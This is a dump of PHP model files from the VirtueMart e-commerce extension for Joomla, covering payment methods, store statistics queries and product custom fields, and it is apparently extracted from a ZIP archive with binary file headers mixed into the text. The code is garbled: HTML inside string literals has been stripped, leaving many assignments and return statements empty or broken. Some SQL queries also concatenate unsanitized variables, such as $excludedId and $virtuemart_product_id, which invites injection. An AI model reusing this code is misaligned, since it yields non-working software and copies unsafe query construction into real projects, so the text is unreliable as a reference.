$this->getTable('paymentmethod_shoppergroups'); $xrefTable->bindChecknStore($data); $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError($error); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); //Add a hook here for other shipment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnStoreInstallPaymentPluginTable', array( $data['payment_jplugin_id'])); return $table->virtuemart_paymentmethod_id; } /** * Publish a field * * @author Max Milbers * */ /* public function published( $row, $i, $variable = 'published' ) { $imgY = 'tick.png'; $imgX = 'publish_x.png'; $img = $row->$variable ? $imgY : $imgX; $task = $row->$variable ? 'unpublish' : 'publish'; $alt = $row->$variable ? JText::_('COM_VIRTUEMART_PUBLISHED') : JText::_('COM_VIRTUEMART_UNPUBLISHED'); $action = $row->$variable ? JText::_('COM_VIRTUEMART_UNPUBLISH_ITEM') : JText::_('COM_VIRTUEMART_PUBLISH_ITEM'); $href = ' '. $alt .'' ; return $href; }*/ /** * Due the new plugin system this should be obsolete * function to render the payment plugin list * * @author Max Milbers * * @param radio list of creditcards * @return html */ public function renderPaymentList($selectedPaym=0,$selecedCC=0){ $payms = self::getPayments(false,true); $listHTML=''; foreach($payms as $item){ $checked=''; if($item->virtuemart_paymentmethod_id==$selectedPaym){ $checked='"checked"'; } $listHTML .= ''.$item->payment_name.'
    '; $listHTML .= '
    '; } return $listHTML; } /** * Creates a clone of a given shipmentmethod id * * @author Valérie Isaksen * @param int $virtuemart_shipmentmethod_id */ public function createClone ($id) { $this->setId ($id); $payment = $this->getPayment (); $payment->virtuemart_paymentmethod_id = 0; $payment->payment_name = $payment->payment_name.' Copy'; if (!$clone = $this->store($payment)) { vmError( 'createClone '. $payment->getError() ); } return $clone; } } PKsl>\@<<Scom_virtuemart_update/administrator/components/com_virtuemart/models/virtuemart.phpnuW+A_getListCount($query); } /** * Gets the total number of active products * * @author RickG * @return int Total number of active products in the database */ function getTotalActiveProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `published`="1"'; return $this->_getListCount($query); } /** * Gets the total number of inactive products * * @author RickG * @return int Total number of inactive products in the database */ function getTotalInActiveProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `published`="0"'; return $this->_getListCount($query); } /** * Gets the total number of featured products * * @author RickG * @return int Total number of featured products in the database */ function getTotalFeaturedProducts() { $query = 'SELECT `virtuemart_product_id` FROM `#__virtuemart_products` WHERE `product_special`="1"'; return $this->_getListCount($query); } /** * Gets the total number of orders with the given status * * @author RickG * @return int Total number of orders with the given status */ function getTotalOrdersByStatus() { $query = 'SELECT `#__virtuemart_orderstates`.`order_status_name`, `#__virtuemart_orderstates`.`order_status_code`, '; $query .= '(SELECT count(virtuemart_order_id) FROM `#__virtuemart_orders` WHERE `#__virtuemart_orders`.`order_status` = `#__virtuemart_orderstates`.`order_status_code`) as order_count '; $query .= 'FROM `#__virtuemart_orderstates`'; return $this->_getList($query); } /** * Gets a list of recent orders * * @author RickG * @return ObjectList List of recent orders. */ function getRecentOrders($nbrOrders=5) { $query = 'SELECT * FROM `#__virtuemart_orders` ORDER BY `created_on` desc'; return $this->_getList($query, 0, $nbrOrders); } /** * Gets a list of recent customers * * @author RickG * @return ObjectList List of recent orders. */ function getRecentCustomers($nbrCusts=5) { $query = 'SELECT `id` as `virtuemart_user_id`, `first_name`, `last_name`, `order_number` FROM `#__users` as `u` '; $query .= 'JOIN `#__virtuemart_vmusers` as uv ON u.id = uv.virtuemart_user_id '; $query .= 'JOIN `#__virtuemart_userinfos` as ui ON u.id = ui.virtuemart_user_id '; $query .= 'JOIN `#__virtuemart_orders` as uo ON u.id = uo.virtuemart_user_id '; $query .= 'WHERE `perms` <> "admin" '; $query .= 'AND `perms` <> "storeadmin" '; $query .= 'AND INSTR(`usertype`, "administrator") = 0 AND INSTR(`usertype`, "Administrator") = 0 '; $query .= ' ORDER BY uo.`created_on` DESC'; return $this->_getList($query, 0, $nbrCusts); } } //pure php no tagPKsl>\M')iiUcom_virtuemart_update/administrator/components/com_virtuemart/models/customfields.phpnuW+AsetMainTable ('product_customfields'); } /** * Gets a single custom by virtuemart_customfield_id * * @param string $type * @param string $mime mime type of custom, use for exampel image * @return customobject */ function getCustomfield () { $this->data = $this->getTable ('product_customfields'); $this->data->load ($this->_id); return $this; } // ************************************************** // Custom FIELDS // function getProductCustomsChilds ($childs) { $data = array(); foreach ($childs as $child) { $query = 'SELECT C.* , field.* FROM `#__virtuemart_product_customfields` AS field LEFT JOIN `#__virtuemart_customs` AS C ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE `virtuemart_product_id` =' . (int)$child->virtuemart_product_id; $query .= ' and C.field_type = "C" '; $this->_db->setQuery ($query); $child->field = $this->_db->loadObject (); $customfield = new stdClass(); $customfield->custom_value = $child->virtuemart_product_id; $customfield->field_type = 'C'; $child->display = $this->displayProductCustomfieldFE ($child, $customfield); if ($child->field) { $data[] = $child; } } return $data; } public function getCustomParentTitle ($custom_parent_id) { $q = 'SELECT custom_title FROM `#__virtuemart_customs` WHERE virtuemart_custom_id =' . (int)$custom_parent_id; $this->_db->setQuery ($q); return $this->_db->loadResult (); } /** @return autorized Types of data **/ function getField_types () { return array('S' => 'COM_VIRTUEMART_CUSTOM_STRING', 'I' => 'COM_VIRTUEMART_CUSTOM_INT', 'P' => 'COM_VIRTUEMART_CUSTOM_PARENT', 'B' => 'COM_VIRTUEMART_CUSTOM_BOOL', 'D' => 'COM_VIRTUEMART_DATE', 'T' => 'COM_VIRTUEMART_TIME', 'M' => 'COM_VIRTUEMART_IMAGE', 'V' => 'COM_VIRTUEMART_CUSTOM_CART_VARIANT', 'A' => 'COM_VIRTUEMART_CHILD_GENERIC_VARIANT', 'X' => 'COM_VIRTUEMART_CUSTOM_EDITOR', 'Y' => 'COM_VIRTUEMART_CUSTOM_TEXTAREA', 'E' => 'COM_VIRTUEMART_CUSTOM_EXTENSION' ); // 'U'=>'COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT', // 'C'=>'COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD', // 'G'=>'COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD_GROUP', // 'R'=>'COM_VIRTUEMART_RELATED_PRODUCT', // 'Z'=>'COM_VIRTUEMART_RELATED_CATEGORY', } static function setParameterableByFieldType(&$table,$type=0){ if($type===0) $type = $table->field_type; $varsToPush = self::getVarsToPush($type); if(!empty($varsToPush)){ $table->setParameterable('custom_param',$varsToPush,TRUE); } } static function bindParameterableByFieldType(&$table,$type=0){ if($type===0) $type = $table->field_type; $varsToPush = self::getVarsToPush($type); if(!empty($varsToPush)){ VmTable::bindParameterable($table,'custom_param',$varsToPush); } } static function getVarsToPush($type){ $varsToPush = 0; if($type=='A'){ $varsToPush = array( 'withParent' => array(0, 'int'), 'parentOrderable' => array(0, 'int') ); } return $varsToPush; } private $_hidden = array(); /** * Use this to adjust the hidden fields of the displaycustomHandler to your form * * @author Max Milbers * @param string $name for exampel view * @param string $value for exampel custom */ public function addHidden ($name, $value = '') { $this->_hidden[$name] = $value; } /** * Adds the hidden fields which are needed for the form in every case * * @author Max Milbers * OBSELTE ? */ private function addHiddenByType ($datas) { $this->addHidden ('virtuemart_custom_id', $datas->virtuemart_custom_id); $this->addHidden ('option', 'com_virtuemart'); } /** * Displays a possibility to select custom groups * * @author Max Milbers * @author Maik K�nnemann * @author Patrick Kohl */ public function displayCustomSelection () { $customslist = $this->getParentList (); if (isset($this->virtuemart_custom_id)) { $value = $this->virtuemart_custom_id; } else { $value = JRequest::getInt ('custom_parent_id', 0); } return VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_PARENT', 'custom_parent_id', $customslist, $value); } /** * Retrieve a list of layouts from the default and chosen templates directory. * * We may use here the getCustoms function of the custom model or write something simular * * @author Max Milbers * @param name of the view * @return object List of flypage objects */ function getCustomsList ($publishedOnly = FALSE) { $vendorId = 1; // get custom parents $q = 'SELECT virtuemart_custom_id as value ,custom_title as text FROM `#__virtuemart_customs` where custom_parent_id=0 AND field_type <> "R" AND field_type <> "Z" '; if ($publishedOnly) { $q .= 'AND `published`=1'; } if ($ID = JRequest::getInt ('virtuemart_custom_id', 0)) { $q .= ' and `virtuemart_custom_id`!=' . (int)$ID; } //if (isset($this->virtuemart_custom_id)) $q.=' and virtuemart_custom_id !='.$this->virtuemart_custom_id; $this->_db->setQuery ($q); // $result = $this->_db->loadAssocList(); $result = $this->_db->loadObjectList (); $errMsg = $this->_db->getErrorMsg (); $errs = $this->_db->getErrors (); if (!empty($errMsg)) { $app = JFactory::getApplication (); $errNum = $this->_db->getErrorNum (); $app->enqueueMessage ('SQL-Error: ' . $errNum . ' ' . $errMsg); } if ($errs) { $app = JFactory::getApplication (); foreach ($errs as $err) { $app->enqueueMessage ($err); } } return $result; } /** * This displays a custom handler. * * @param string $html atttributes, Just for displaying the fullsized image */ public function displayCustomFields ($datas) { $identify = ''; // ':'.$this->virtuemart_custom_id; if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } if ($datas->field_type) { $this->addHidden ('field_type', $datas->field_type); } $this->addHiddenByType ($datas); //$html = '
    '.$datas->custom_title.'
    '; $html = ""; //$html = ' '; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin')) { $readonly = 'readonly'; } else { $readonly = ''; } // only input when not set else display if ($datas->field_type) { $html .= VmHTML::row ('value', 'COM_VIRTUEMART_CUSTOM_FIELD_TYPE', $datas->field_types[$datas->field_type]); } else { $html .= VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_FIELD_TYPE', 'field_type', $this->getOptions ($datas->field_types), $datas->field_type, VmHTML::validate ('R')); } $html .= VmHTML::row ('input', 'COM_VIRTUEMART_TITLE', 'custom_title', $datas->custom_title, VmHTML::validate ('S')); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_SHOW_TITLE', 'show_title', $datas->show_title); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_PUBLISHED', 'published', $datas->published); $html .= VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_PARENT', 'custom_parent_id', $this->getParentList ($datas->virtuemart_custom_id), $datas->custom_parent_id, ''); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE', 'is_cart_attribute', $datas->is_cart_attribute); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_DESCRIPTION', 'custom_field_desc', $datas->custom_field_desc); // change input by type $html .= VmHTML::row ('input', 'COM_VIRTUEMART_DEFAULT', 'custom_value', $datas->custom_value); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_CUSTOM_TIP', 'custom_tip', $datas->custom_tip); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_CUSTOM_LAYOUT_POS', 'layout_pos', $datas->layout_pos); //$html .= VmHTML::row('booleanlist','COM_VIRTUEMART_CUSTOM_PARENT','custom_parent_id',$this->getCustomsList(), $datas->custom_parent_id,''); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_ADMIN_ONLY', 'admin_only', $datas->admin_only); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_LIST', 'is_list', $datas->is_list); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_HIDDEN', 'is_hidden', $datas->is_hidden); // $html .= '
    '; removed $html .= VmHTML::inputHidden ($this->_hidden); return $html; } /** * child classes can add their own options and you can get them with this function * * @param array $optionsarray */ private function getOptions ($field_types) { $options = array(); foreach ($field_types as $optionName=> $langkey) { $options[] = JHTML::_ ('select.option', $optionName, vmText::_ ($langkey)); } return $options; } /** * Just for creating simpel rows * * @author Max Milbers * @param string $descr * @param string $name */ private function displayRow ($descr, $name, $readonly = '') { $html = ' ' . vmText::_ ($descr) . ' '; return $html; } /** * * Enter description here ... * * @param unknown_type $excludedId * @return unknown|multitype: */ function getParentList ($excludedId = 0) { $this->_db->setQuery (' SELECT virtuemart_custom_id as value,custom_title as text FROM `#__virtuemart_customs` WHERE `field_type` ="P" and virtuemart_custom_id!=' . $excludedId); if ($results = $this->_db->loadObjectList ()) { return $results; } else { return array(); } } /** * * Enter description here ... */ function getProductChildCustomRelation () { $this->_db->setQuery (' SELECT virtuemart_custom_id as value,custom_title as text FROM `#__virtuemart_customs` WHERE `field_type` ="C"'); if ($results = $this->_db->loadObjectList ()) { return $results; } else { return array(); } } /** * * Enter description here ... * * @param unknown_type $product_id * @return unknown */ function getProductChildCustom ($product_id) { $this->_db->setQuery (' SELECT `virtuemart_custom_id`,`custom_value` FROM `#__virtuemart_product_customfields` WHERE `virtuemart_product_id` =' . (int)$product_id); if ($childcustom = $this->_db->loadObject ()) { return $childcustom; } else { $childcustom->virtuemart_custom_id = 0; $childcustom->custom_value = ''; return $childcustom; } } /** * * Enter description here ... * * @param unknown_type $product_id * @return string|Ambigous */ function getProductParentRelation ($product_id) { $this->_db->setQuery (' SELECT `custom_value` FROM `#__virtuemart_product_customfields` WHERE `virtuemart_product_id` =' . (int)$product_id); if ($childcustom = $this->_db->loadResult ()) { return '(' . $childcustom . ')'; } else { return vmText::_ ('COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION'); } } /** * AUthor Kohl Patrick * Load all custom fields for a Single product * return custom fields value and definition */ public function getproductCustomslist ($virtuemart_product_id, $parent_id = NULL) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_element`, `custom_jplugin_id`, `custom_params`, `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_cart_attribute` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`,field.`custom_param`,field.`custom_price`,field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . $virtuemart_product_id . ' order by field.`ordering` ASC'; $this->_db->setQuery ($query); $productCustoms = $this->_db->loadObjectList (); //if (!$productCustoms ) return array(); if (!$productCustoms) { return; } $row = 0; foreach ($productCustoms as $field) { if ($parent_id) { $field->custom_value = ""; $field->virtuemart_customfield_id = ""; $field->custom_param = NULL; $virtuemart_product_id = $parent_id; } if ($field->field_type == 'E') { JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $retValue = $dispatcher->trigger ('plgVmDeclarePluginParams', array('custom', $field->custom_element, $field->custom_jplugin_id, $field)); }else { VirtueMartModelCustomfields::bindParameterableByFieldType($field); } //vmdebug('fields',$field); $field->display = $this->displayProductCustomfieldBE ($field, $virtuemart_product_id, $row); //custom_param without S !!! $row++; } return $productCustoms; } /* Save and delete from database * all product custom_fields and xref @ var $table : the xref table(eg. product,category ...) @array $data : array of customfields @int $id : The concerned id (eg. product_id) */ public function storeProductCustomfields($table,$datas, $id) { //vmdebug('storeProductCustomfields',$datas); JRequest::checkToken() or jexit( 'Invalid Token, in store customfields'); //Sanitize id $id = (int)$id; //Table whitelist $tableWhiteList = array('product','category','manufacturer'); if(!in_array($table,$tableWhiteList)) return false; // Get old IDS $this->_db->setQuery( 'SELECT `virtuemart_customfield_id` FROM `#__virtuemart_'.$table.'_customfields` as `PC` WHERE `PC`.virtuemart_'.$table.'_id ='.$id ); $old_customfield_ids = $this->_db->loadResultArray(); if (isset ( $datas['custom_param'] )) $params = true ; else $params = false ; if (array_key_exists('field', $datas)) { //vmdebug('datas save',$datas); $customfieldIds = array(); foreach($datas['field'] as $key => $fields){ $fields['virtuemart_'.$table.'_id'] =$id; $tableCustomfields = $this->getTable($table.'_customfields'); $tableCustomfields->setPrimaryKey('virtuemart_product_id'); if (!empty($datas['custom_param'][$key]) and !isset($datas['clone']) ) { if (array_key_exists( $key,$datas['custom_param'])) { $fields['custom_param'] = json_encode($datas['custom_param'][$key]); } } VirtueMartModelCustomfields::setParameterableByFieldType($tableCustomfields,$fields['field_type']); if(!isset($datas['clone'])){ VirtueMartModelCustomfields::bindParameterableByFieldType($tableCustomfields,$fields['field_type']); } $tableCustomfields->bindChecknStore($fields); $errors = $tableCustomfields->getErrors(); foreach($errors as $error){ vmError($error); } $key = array_search($fields['virtuemart_customfield_id'], $old_customfield_ids ); if ($key !== false ) unset( $old_customfield_ids[ $key ] ); // vmdebug('datas clone',$old_customfield_ids,$fields); } } if ( count($old_customfield_ids) ) { // delete old unused Customfields $this->_db->setQuery( 'DELETE FROM `#__virtuemart_'.$table.'_customfields` WHERE `virtuemart_customfield_id` in ("'.implode('","', $old_customfield_ids ).'") '); $this->_db->query(); } JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); if (isset($datas['plugin_param']) and is_array($datas['plugin_param'])) { foreach ($datas['plugin_param'] as $key => $plugin_param ) { $dispatcher->trigger('plgVmOnStoreProduct', array($datas, $plugin_param )); } } } /** * Formatting admin display by roles * input Types for product only ! * $field->is_cart_attribute if can have a price */ public function displayProductCustomfieldBE ($field, $product_id, $row) { $field->custom_value = empty($field->custom_value) ? $field->value : $field->custom_value; if ($field->is_cart_attribute) { if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); if(!class_exists('VirtueMartModelCurrency')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'currency.php'); $vendor_model = VmModel::getModel('vendor'); $vendor_model->setId(1); $vendor = $vendor_model->getVendor(); $currency_model = VmModel::getModel('currency'); $vendor_currency = $currency_model->getCurrency($vendor->vendor_currency); $priceInput = ' '.$vendor_currency->currency_symbol.""; } else { $priceInput = ' '; } if ($field->is_list) { $options = array(); $values = explode (';', $field->value); foreach ($values as $key => $val) { $options[] = array('value' => $val, 'text' => $val); } $currentValue = $field->custom_value; return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', null, 'value', 'text', $currentValue) . '' . $priceInput; } else { switch ($field->field_type) { case 'A': //vmdebug('displayProductCustomfieldBE $field',$field); if(!isset($field->withParent)) $field->withParent = 0; if(!isset($field->parentOrderable)) $field->parentOrderable = 0; //vmdebug('displayProductCustomfieldFE',$field); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $html = vmText::_('COM_VIRTUEMART_CUSTOM_WP').VmHTML::checkbox('field[' . $row . '][withParent]',$field->withParent,1,0,'').'
    '; $html .= vmText::_('COM_VIRTUEMART_CUSTOM_PO').VmHTML::checkbox('field[' . $row . '][parentOrderable]',$field->parentOrderable,1,0,''); $options = array(); // $options[] = array( 'value' => 'product_name' ,'text' =>vmText::_('COM_VIRTUEMART_PRODUCT_FORM_NAME')); Is anyway displayed there $options[] = array('value' => 'product_sku', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_SKU')); $options[] = array('value' => 'slug', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_ALIAS')); $options[] = array('value' => 'product_length', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_LENGTH')); $options[] = array('value' => 'product_width', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_WIDTH')); $options[] = array('value' => 'product_height', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_HEIGHT')); $options[] = array('value' => 'product_weight', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_WEIGHT')); $html .= JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', '', 'value', 'text', $field->custom_value) . '' . $priceInput; return $html; // return 'Automatic Childvariant creation (later you can choose here attributes to show, now product name) '; break; // variants case 'V': return '' . $priceInput; break; /* * Stockable (group of) child variants * Special type setted by the plugin */ case 'G': return; break; /*Extended by plugin*/ case 'E': $html = ''; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } JPluginHelper::importPlugin ('vmcustom', $field->custom_element); $dispatcher = JDispatcher::getInstance (); $retValue = ''; $dispatcher->trigger ('plgVmOnProductEdit', array($field, $product_id, &$row, &$retValue)); return $html . $retValue . ''. $priceInput; break; case 'D': return vmJsApi::jDate ($field->custom_value, 'field[' . $row . '][custom_value]', 'field_' . $row . '_customvalue') .''. $priceInput; break; case 'T': //TODO Patrick return '' . $priceInput; break; /* string or integer */ case 'S': case 'I': return '' . $priceInput; break; //'X'=>'COM_VIRTUEMART_CUSTOM_EDITOR', case 'X': // Not sure why this block is needed to get it to work when editing the customfield (the subsequent block works fine when creating it, ie. in JS) $document=& JFactory::getDocument(); if (get_class($document) == 'JDocumentHTML') { $editor =& JFactory::getEditor(); return $editor->display('field['.$row.'][custom_value]',$field->custom_value, '550', '400', '60', '20', false).''; } return ' ' . $priceInput; //return ''.$priceInput; break; //'Y'=>'COM_VIRTUEMART_CUSTOM_TEXTAREA' case 'Y': return '' . $priceInput; //return ''.$priceInput; break; case 'editorta': jimport ('joomla.html.editor'); $editor = JFactory::getEditor (); //TODO This is wrong! $_return['fields'][$_fld->name]['formcode'] = $editor->display ($_prefix . $_fld->name, $_return['fields'][$_fld->name]['value'], 300, 150, $_fld->cols, $_fld->rows); break; /* bool */ case 'B': return JHTML::_ ('select.booleanlist', 'field[' . $row . '][custom_value]', 'class="inputbox"', $field->custom_value) . '' . $priceInput; break; /* parent */ case 'P': return $field->custom_value . ''; break; /* related category*/ case 'Z': if (!$field->custom_value) { return ''; } // special case it's category ID ! $q = 'SELECT * FROM `#__virtuemart_categories_' . VMLANG . '` JOIN `#__virtuemart_categories` AS p using (`virtuemart_category_id`) WHERE `virtuemart_category_id`= "' . (int)$field->custom_value . '" '; $this->_db->setQuery ($q); //echo $this->_db->_sql; if ($category = $this->_db->loadObject ()) { $q = 'SELECT `virtuemart_media_id` FROM `#__virtuemart_category_medias` WHERE `virtuemart_category_id`= "' . (int)$field->custom_value . '" '; $this->_db->setQuery ($q); $thumb = ''; if ($media_id = $this->_db->loadResult ()) { $thumb = $this->displayCustomMedia ($media_id,'category'); } $display = ''; $display .= JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=category&task=edit&virtuemart_category_id=' . (int)$field->custom_value,FALSE), ''.$thumb.'' . $category->category_name, array('title' => $category->category_name)).''; return $display; } else { return 'no result'; } /* related product*/ case 'R': if (!$field->custom_value) { return ''; } $pModel = VmModel::getModel('product'); $related = $pModel->getProduct((int)$field->custom_value,FALSE,FALSE,FALSE,1,FALSE); $thumb =''; if (!empty($related->virtuemart_media_id[0])) { $thumb = $this->displayCustomMedia ($related->virtuemart_media_id[0]).' '; } else { $thumb = $this->displayCustomMedia (0).' '; } $display = ''; $display .= JHTML::link (juri::root().'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $related->virtuemart_product_id . '&virtuemart_category_id=' . $related->virtuemart_category_id, ''.$thumb.''. $related->product_name, array('title' => $related->product_name,'target'=>'blank')).''; return $display; break; /* image */ case 'M': if (empty($product)) { $vendorId = 1; } else { $vendorId = $product->virtuemart_vendor_id; } $q = 'SELECT `virtuemart_media_id` as value,`file_title` as text FROM `#__virtuemart_medias` WHERE `published`=1 AND (`virtuemart_vendor_id`= "' . $vendorId . '" OR `shared` = "1")'; $this->_db->setQuery ($q); $options = $this->_db->loadObjectList (); return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', '', 'value', 'text', $field->custom_value) . '' . $priceInput; break; /* Child product */ /* case 'C': if (empty($product)){ $virtuemart_product_id = JRequest::getInt('virtuemart_product_id', 0); } else { $virtuemart_product_id = $product->virtuemart_product_id; } $html = ''; $q='SELECT concat(`product_sku`,":",`product_name`) as text ,`virtuemart_product_id`,`product_in_stock` FROM `#__virtuemart_products` WHERE `published`=1 AND `virtuemart_product_id`= "'.$field->custom_value.'"'; //$db->setQuery(' SELECT virtuemart_product_id, product_name FROM `#__virtuemart_products` WHERE `product_parent_id` ='.(int)$product_id); $this->_db->setQuery($q); if ($child = $this->_db->loadObject()) { $html .= JHTML::link ( JRoute::_ ( 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$field->custom_value), $child->text.' ('.$field->custom_value.')', array ('title' => $child->text )); $html .= ' '.vmText::_('COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK').':'.$child->product_in_stock ; $html .= '
    '.$priceInput; return $html; // return ''; } else return vmText::_('COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT'); break;*/ } } } public function getProductCustomsField ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_element`, `custom_params`, `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden`, `layout_pos`, C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` != "G" and `field_type` != "R" and `field_type` != "Z"'; $query .= ' and is_cart_attribute = 0 order by field.`ordering`,virtuemart_custom_id'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } foreach ($productCustoms as $field) { if ($field->field_type == "E") { $field->display = ''; JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $ret = $dispatcher->trigger ('plgVmOnDisplayProductFE', array($product, &$row, &$field)); } else { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); } $row++; } return $productCustoms; } else { return array(); } } public function getProductCustomsFieldRelatedCategories ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_parent_id` , `admin_only` , `custom_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` = "Z"'; $query .= ' and is_cart_attribute = 0 order by ordering'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; foreach ($productCustoms as & $field) { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); $row++; } return $productCustoms; } else { return array(); } } public function getProductCustomsFieldRelatedProducts ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_parent_id` , `admin_only` , `custom_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` = "R"'; $query .= ' and is_cart_attribute = 0 order by ordering'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; foreach ($productCustoms as & $field) { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); $row++; } return $productCustoms; } else { return array(); } } /** * Display for the cart * * @author Patrick Kohl * @param obj $product product object * @return html code */ public function getProductCustomsFieldCart ($product) { // group by virtuemart_custom_id $query = 'SELECT C.`virtuemart_custom_id`, `custom_title`, `show_title`, C.`custom_value`,`custom_field_desc` ,`custom_tip`,`field_type`,field.`virtuemart_customfield_id`,`is_hidden` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` != "G" and `field_type` != "R" and `field_type` != "Z"'; $query .= ' and is_cart_attribute = 1 group by virtuemart_custom_id ORDER BY field.`ordering`'; $this->_db->setQuery ($query); $groups = $this->_db->loadObjectList (); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmWarn('getProductCustomsFieldCart '.$err); } else { if(empty($groups)) return array(); } if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $row = 0; if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance (); if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $calculator ->_product = $product; $calculator->_cats = $product->categories; $calculator->product_tax_id = isset($product->product_tax_id)? $product->product_tax_id:0; $calculator->product_discount_id = isset($product->product_discount_id)? $product->product_discount_id:0; $calculator->productCurrency = isset($product->product_currency)? $product->product_currency:$calculator->productCurrency; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } //$free = vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); // render select list foreach ($groups as $group) { // $query='SELECT field.`virtuemart_customfield_id` as value ,concat(field.`custom_value`," :bu ", 